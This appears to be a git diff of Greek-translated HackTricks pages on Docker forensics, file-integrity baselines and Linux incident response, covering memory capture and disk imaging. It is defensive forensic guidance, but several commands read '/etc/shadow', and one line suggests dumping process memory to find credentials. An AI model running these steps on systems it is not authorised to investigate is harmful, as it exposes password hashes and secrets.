* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε** 💬 στην ομάδα [**Discord**](https://discord.gg/hRep4RUj7f) ή στην ομάδα [**telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,119 @@
|
||||||
|
# Ερευνητική μεθοδολογία Docker
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Τροποποίηση εμπορεύματος
|
||||||
|
|
||||||
|
Υπάρχουν υποψίες ότι ένα κάποιο docker container έχει παραβιαστεί:
|
||||||
|
```bash
|
||||||
|
docker ps
|
||||||
|
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||||
|
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||||
|
```
|
||||||
|
Μπορείτε εύκολα **να βρείτε τις τροποποιήσεις που έχουν γίνει σε αυτό το container σχετικά με την εικόνα** με:
|
||||||
|
```bash
|
||||||
|
docker diff wordpress
|
||||||
|
C /var
|
||||||
|
C /var/lib
|
||||||
|
C /var/lib/mysql
|
||||||
|
A /var/lib/mysql/ib_logfile0
|
||||||
|
A /var/lib/mysql/ib_logfile1
|
||||||
|
A /var/lib/mysql/ibdata1
|
||||||
|
A /var/lib/mysql/mysql
|
||||||
|
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
||||||
|
A /var/lib/mysql/mysql/general_log.CSV
|
||||||
|
...
|
||||||
|
```
|
||||||
|
Στην προηγούμενη εντολή, το **C** σημαίνει **Αλλαγή** και το **A,** **Προσθήκη**.\
|
||||||
|
Εάν ανακαλύψετε ότι ένα ενδιαφέρον αρχείο όπως το `/etc/shadow` έχει τροποποιηθεί, μπορείτε να το κατεβάσετε από τον εκτελέσιμο χώρο για να ελέγξετε για κακόβουλη δραστηριότητα με:
|
||||||
|
```bash
|
||||||
|
docker cp wordpress:/etc/shadow.
|
||||||
|
```
|
||||||
|
Μπορείτε επίσης **να το συγκρίνετε με το αρχικό** εκτελώντας ένα νέο container και εξάγοντας το αρχείο από αυτό:
|
||||||
|
```bash
|
||||||
|
docker run -d lamp-wordpress
|
||||||
|
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||||
|
diff original_shadow shadow
|
||||||
|
```
|
||||||
|
Εάν ανακαλύψετε ότι **προστέθηκε ένα ύποπτο αρχείο**, μπορείτε να αποκτήσετε πρόσβαση στον εκτελέσιμο και να το ελέγξετε:
|
||||||
|
```bash
|
||||||
|
docker exec -it wordpress bash
|
||||||
|
```
|
||||||
|
## Τροποποιήσεις εικόνας
|
||||||
|
|
||||||
|
Όταν σας δίνεται μια εξαγόμενη εικόνα docker (πιθανώς σε μορφή `.tar`), μπορείτε να χρησιμοποιήσετε το [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) για να **εξάγετε ένα σύνοψη των τροποποιήσεων**:
|
||||||
|
```bash
|
||||||
|
docker save <image> > image.tar #Export the image to a .tar file
|
||||||
|
container-diff analyze -t sizelayer image.tar
|
||||||
|
container-diff analyze -t history image.tar
|
||||||
|
container-diff analyze -t metadata image.tar
|
||||||
|
```
|
||||||
|
Στη συνέχεια, μπορείτε να **αποσυμπιέσετε** την εικόνα και να **έχετε πρόσβαση στα blobs** για να αναζητήσετε ύποπτα αρχεία που μπορεί να έχετε βρει στο ιστορικό αλλαγών:
|
||||||
|
```bash
|
||||||
|
tar -xf image.tar
|
||||||
|
```
|
||||||
|
### Βασική Ανάλυση
|
||||||
|
|
||||||
|
Μπορείτε να αποκτήσετε **βασικές πληροφορίες** από την εικόνα που εκτελείται:
|
||||||
|
```bash
|
||||||
|
docker inspect <image>
|
||||||
|
```
|
||||||
|
Μπορείτε επίσης να λάβετε ένα σύνοψη **ιστορικού αλλαγών** με:
|
||||||
|
```bash
|
||||||
|
docker history --no-trunc <image>
|
||||||
|
```
|
||||||
|
Μπορείτε επίσης να δημιουργήσετε ένα **dockerfile από ένα εικόνα** με την εντολή:
|
||||||
|
```bash
|
||||||
|
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||||
|
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||||
|
```
|
||||||
|
### Dive
|
||||||
|
|
||||||
|
Για να βρείτε προστιθέμενα/τροποποιημένα αρχεία σε εικόνες docker, μπορείτε επίσης να χρησιμοποιήσετε το [**dive**](https://github.com/wagoodman/dive) (κατεβάστε το από [**απελευθερώσεις**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) εργαλείο:
|
||||||
|
```bash
|
||||||
|
#First you need to load the image in your docker repo
|
||||||
|
sudo docker load < image.tar 1 ⨯
|
||||||
|
Loaded image: flask:latest
|
||||||
|
|
||||||
|
#And then open it with dive:
|
||||||
|
sudo dive flask:latest
|
||||||
|
```
|
||||||
|
Αυτό σας επιτρέπει να **περιηγηθείτε στα διάφορα blobs των εικόνων του Docker** και να ελέγξετε ποια αρχεία τροποποιήθηκαν/προστέθηκαν. Το **κόκκινο** σημαίνει προσθήκη και το **κίτρινο** σημαίνει τροποποίηση. Χρησιμοποιήστε το **tab** για να μετακινηθείτε στην άλλη προβολή και το **space** για να αναδιπλώσετε/ανοίξετε φακέλους.
|
||||||
|
|
||||||
|
Με το die δεν θα μπορείτε να έχετε πρόσβαση στο περιεχόμενο των διαφορετικών σταδίων της εικόνας. Για να το κάνετε αυτό, θα πρέπει να **αποσυμπιέσετε κάθε επίπεδο και να έχετε πρόσβαση** σε αυτό.\
|
||||||
|
Μπορείτε να αποσυμπιέσετε όλα τα επίπεδα μιας εικόνας από τον κατάλογο όπου αποσυμπιέστηκε η εικόνα εκτελώντας:
|
||||||
|
```bash
|
||||||
|
tar -xf image.tar
|
||||||
|
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||||
|
```
|
||||||
|
## Διαπιστευτήρια από τη μνήμη
|
||||||
|
|
||||||
|
Σημειώστε ότι όταν εκτελείτε ένα δοχείο docker μέσα σε έναν κεντρικό υπολογιστή, **μπορείτε να δείτε τις διεργασίες που εκτελούνται στο δοχείο από τον κεντρικό υπολογιστή** απλά εκτελώντας την εντολή `ps -ef`
|
||||||
|
|
||||||
|
Για τον λόγο αυτό (ως root) μπορείτε να **αντιγράψετε τη μνήμη των διεργασιών** από τον κεντρικό υπολογιστή και να αναζητήσετε **διαπιστευτήρια** ακριβώς [**όπως στο παρακάτω παράδειγμα**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,52 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Βασική γραμμή
|
||||||
|
|
||||||
|
Μια βασική γραμμή αποτελείται από τη λήψη ενός στιγμιότυπου ορισμένων μερών ενός συστήματος για να **συγκριθεί με μια μελλοντική κατάσταση για να αναδειχθούν οι αλλαγές**.
|
||||||
|
|
||||||
|
Για παράδειγμα, μπορείτε να υπολογίσετε και να αποθηκεύσετε το hash κάθε αρχείου του συστήματος αρχείων για να μπορείτε να ανακαλύψετε ποια αρχεία τροποποιήθηκαν.\
|
||||||
|
Αυτό μπορεί να γίνει επίσης με τους δημιουργηθέντες λογαριασμούς χρηστών, τις εκτελούμενες διεργασίες, τις εκτελούμενες υπηρεσίες και οποιαδήποτε άλλη πληροφορία που δεν θα έπρεπε να αλλάξει πολύ, ή καθόλου.
|
||||||
|
|
||||||
|
## Παρακολούθηση Ακεραιότητας Αρχείων
|
||||||
|
|
||||||
|
Η Παρακολούθηση Ακεραιότητας Αρχείων (File Integrity Monitoring - FIM) είναι μια κρίσιμη τεχνική ασφαλείας που προστατεύει τα περιβάλλοντα IT και τα δεδομένα με την παρακολούθηση των αλλαγών στα αρχεία. Περιλαμβάνει δύο βασικά βήματα:
|
||||||
|
|
||||||
|
1. **Σύγκριση Βασικής Γραμμής:** Δημιουργία μιας βασικής γραμμής χρησιμοποιώντας τα χαρακτηριστικά των αρχείων ή τις κρυπτογραφικές αθροίσεις (όπως MD5 ή SHA-2) για μελλοντικές συγκρίσεις για την ανίχνευση τροποποιήσεων.
|
||||||
|
2. **Ειδοποίηση Αλλαγής σε Πραγματικό Χρόνο:** Λήψη άμεσων ειδοποιήσεων όταν τα αρχεία ανατίθενται ή τροποποιούνται, συνήθως μέσω επεκτάσεων πυρήνα λειτουργικού συστήματος.
|
||||||
|
|
||||||
|
## Εργαλεία
|
||||||
|
|
||||||
|
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||||
|
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,407 @@
|
||||||
|
# Ψηφιακή Διαφθορά σε Linux
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Αρχική Συλλογή Πληροφοριών
|
||||||
|
|
||||||
|
### Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
Καταρχάς, συνιστάται να έχετε ένα **USB** με **καλά γνωστά δυαδικά και βιβλιοθήκες** (μπορείτε απλά να πάρετε το Ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib_ και _/lib64_), στη συνέχεια να τοποθετήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά:
|
||||||
|
```bash
|
||||||
|
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||||
|
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||||
|
```
|
||||||
|
Αφού έχετε ρυθμίσει το σύστημα να χρησιμοποιεί καλά και γνωστά δυαδικά αρχεία, μπορείτε να ξεκινήσετε την **εξαγωγή μερικών βασικών πληροφοριών**:
|
||||||
|
```bash
|
||||||
|
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||||
|
uname -a #OS info
|
||||||
|
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
|
||||||
|
ps -ef #Running processes
|
||||||
|
netstat -anp #Proccess and ports
|
||||||
|
lsof -V #Open files
|
||||||
|
netstat -rn; route #Routing table
|
||||||
|
df; mount #Free space and mounted devices
|
||||||
|
free #Meam and swap space
|
||||||
|
w #Who is connected
|
||||||
|
last -Faiwx #Logins
|
||||||
|
lsmod #What is loaded
|
||||||
|
cat /etc/passwd #Unexpected data?
|
||||||
|
cat /etc/shadow #Unexpected data?
|
||||||
|
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
|
||||||
|
```
|
||||||
|
#### Υπούλη πληροφορία
|
||||||
|
|
||||||
|
Κατά την απόκτηση των βασικών πληροφοριών, πρέπει να ελέγξετε για περίεργα πράγματα όπως:
|
||||||
|
|
||||||
|
- **Διεργασίες ρίζας** συνήθως τρέχουν με χαμηλά PIDS, οπότε αν βρείτε μια διεργασία ρίζας με ένα μεγάλο PID μπορείτε να υποψιαστείτε
|
||||||
|
- Ελέγξτε τις **εγγεγραμμένες συνδέσεις** χρηστών χωρίς κέλυφος μέσα στο `/etc/passwd`
|
||||||
|
- Ελέγξτε τις **κατακερματισμένες κωδικοποιήσεις** μέσα στο `/etc/shadow` για χρήστες χωρίς κέλυφος
|
||||||
|
|
||||||
|
### Ανάκτηση Αναμνηστικού
|
||||||
|
|
||||||
|
Για να αποκτήσετε τη μνήμη του τρέχοντος συστήματος, συνιστάται να χρησιμοποιήσετε το [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||||
|
Για να το **μεταγλωτίσετε**, πρέπει να χρησιμοποιήσετε το **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή θύματος.
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
Να θυμάστε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή θύματος καθώς θα προκαλέσει πολλές αλλαγές σε αυτήν
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Έτσι, αν έχετε μια ταυτόσημη έκδοση του Ubuntu μπορείτε να χρησιμοποιήσετε `apt-get install lime-forensics-dkms`\
|
||||||
|
Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε το [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το μεταγλωτίσετε με τις σωστές κεφαλίδες πυρήνα. Για να **ανακτήσετε τις ακριβείς κεφαλίδες πυρήνα** της μηχανής θύματος, μπορείτε απλά να **αντιγράψετε τον κατάλογο** `/lib/modules/<έκδοση πυρήνα>` στη μηχανή σας, και στη συνέχεια να **μεταγλωτίσετε** το LiME χρησιμοποιώντας αυτές.
|
||||||
|
```bash
|
||||||
|
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||||
|
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||||
|
```
|
||||||
|
Το LiME υποστηρίζει 3 **μορφές**:
|
||||||
|
|
||||||
|
* Raw (κάθε τμήμα συνενωμένο μαζί)
|
||||||
|
* Padded (ίδιο με το raw, αλλά με μηδενικά στα δεξιά bits)
|
||||||
|
* Lime (συνιστώμενη μορφή με μεταδεδομένα)
|
||||||
|
|
||||||
|
Το LiME μπορεί επίσης να χρησιμοποιηθεί για να **στείλει την αντιγραφή μέσω δικτύου** αντί να την αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι σαν: `path=tcp:4444`
|
||||||
|
|
||||||
|
### Εικονική αντιγραφή δίσκου
|
||||||
|
|
||||||
|
#### Απενεργοποίηση
|
||||||
|
|
||||||
|
Καταρχάς, θα πρέπει να **απενεργοποιήσετε το σύστημα**. Αυτό δεν είναι πάντα μια επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να επιτρέψει να απενεργοποιηθεί.\
|
||||||
|
Υπάρχουν **2 τρόποι** απενεργοποίησης του συστήματος, μια **κανονική απενεργοποίηση** και μια **απενεργοποίηση "τραβώντας το φις"**. Η πρώτη θα επιτρέψει στις **διεργασίες να τερματιστούν όπως συνήθως** και το **σύστημα αρχείων** να **συγχρονιστεί**, αλλά θα επιτρέψει επίσης στο πιθανό **κακόβουλο λογισμικό** να **καταστρέψει αποδεικτικά στοιχεία**. Η προσέγγιση "τραβώντας το φις" μπορεί να έχει **κάποια απώλεια πληροφοριών** (δεν θα χαθεί πολύ από τις πληροφορίες καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και το **κακόβουλο λογισμικό δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν υποψιάζεστε ότι μπορεί να υπάρχει **κακόβουλο λογισμικό**, απλά εκτελέστε την εντολή **`sync`** στο σύστημα και τραβήξτε το φις.
|
||||||
|
|
||||||
|
#### Λήψη εικόνας του δίσκου
|
||||||
|
|
||||||
|
Είναι σημαντικό να σημειώσετε ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **είναι προσαρτημένος ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας.
|
||||||
|
```bash
|
||||||
|
#Create a raw copy of the disk
|
||||||
|
dd if=<subject device> of=<image file> bs=512
|
||||||
|
|
||||||
|
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
|
||||||
|
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||||
|
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||||
|
```
|
||||||
|
### Προανάλυση εικόνας δίσκου
|
||||||
|
|
||||||
|
Δημιουργία εικόνας δίσκου χωρίς περισσότερα δεδομένα.
|
||||||
|
```bash
|
||||||
|
#Find out if it's a disk image using "file" command
|
||||||
|
file disk.img
|
||||||
|
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
|
||||||
|
|
||||||
|
#Check which type of disk image it's
|
||||||
|
img_stat -t evidence.img
|
||||||
|
raw
|
||||||
|
#You can list supported types with
|
||||||
|
img_stat -i list
|
||||||
|
Supported image format types:
|
||||||
|
raw (Single or split raw file (dd))
|
||||||
|
aff (Advanced Forensic Format)
|
||||||
|
afd (AFF Multiple File)
|
||||||
|
afm (AFF with external metadata)
|
||||||
|
afflib (All AFFLIB image formats (including beta ones))
|
||||||
|
ewf (Expert Witness Format (EnCase))
|
||||||
|
|
||||||
|
#Data of the image
|
||||||
|
fsstat -i raw -f ext4 disk.img
|
||||||
|
FILE SYSTEM INFORMATION
|
||||||
|
--------------------------------------------
|
||||||
|
File System Type: Ext4
|
||||||
|
Volume Name:
|
||||||
|
Volume ID: 162850f203fd75afab4f1e4736a7e776
|
||||||
|
|
||||||
|
Last Written at: 2020-02-06 06:22:48 (UTC)
|
||||||
|
Last Checked at: 2020-02-06 06:15:09 (UTC)
|
||||||
|
|
||||||
|
Last Mounted at: 2020-02-06 06:15:18 (UTC)
|
||||||
|
Unmounted properly
|
||||||
|
Last mounted on: /mnt/disk0
|
||||||
|
|
||||||
|
Source OS: Linux
|
||||||
|
[...]
|
||||||
|
|
||||||
|
#ls inside the image
|
||||||
|
fls -i raw -f ext4 disk.img
|
||||||
|
d/d 11: lost+found
|
||||||
|
d/d 12: Documents
|
||||||
|
d/d 8193: folder1
|
||||||
|
d/d 8194: folder2
|
||||||
|
V/V 65537: $OrphanFiles
|
||||||
|
|
||||||
|
#ls inside folder
|
||||||
|
fls -i raw -f ext4 disk.img 12
|
||||||
|
r/r 16: secret.txt
|
||||||
|
|
||||||
|
#cat file inside image
|
||||||
|
icat -i raw -f ext4 disk.img 16
|
||||||
|
ThisisTheMasterSecret
|
||||||
|
```
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Αναζήτηση γνωστού Malware
|
||||||
|
|
||||||
|
### Τροποποιημένα Αρχεία Συστήματος
|
||||||
|
|
||||||
|
Το Linux προσφέρει εργαλεία για τη διασφάλιση της ακεραιότητας των συστατικών του συστήματος, το οποίο είναι κρίσιμο για τον εντοπισμό ενδεχόμενα προβληματικών αρχείων.
|
||||||
|
|
||||||
|
* **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε την εντολή `rpm -Va` για μια συνολική έλεγχο.
|
||||||
|
* **Συστήματα βασισμένα σε Debian**: `dpkg --verify` για αρχικό έλεγχο, ακολουθούμενο από `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με `apt-get install debsums`) για την εντοπισμό οποιωνδήποτε προβλημάτων.
|
||||||
|
|
||||||
|
### Εργαλεία Εντοπισμού Malware/Rootkit
|
||||||
|
|
||||||
|
Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορεί να είναι χρήσιμα για τον εντοπισμό malware:
|
||||||
|
|
||||||
|
{% content-ref url="malware-analysis.md" %}
|
||||||
|
[malware-analysis.md](malware-analysis.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Αναζήτηση εγκατεστημένων προγραμμάτων
|
||||||
|
|
||||||
|
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα τόσο σε συστήματα Debian όσο και RedHat, σκεφτείτε να εκμεταλλευτείτε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων σε συνδυασμό με χειροκίνητους ελέγχους σε κοινούς καταλόγους.
|
||||||
|
|
||||||
|
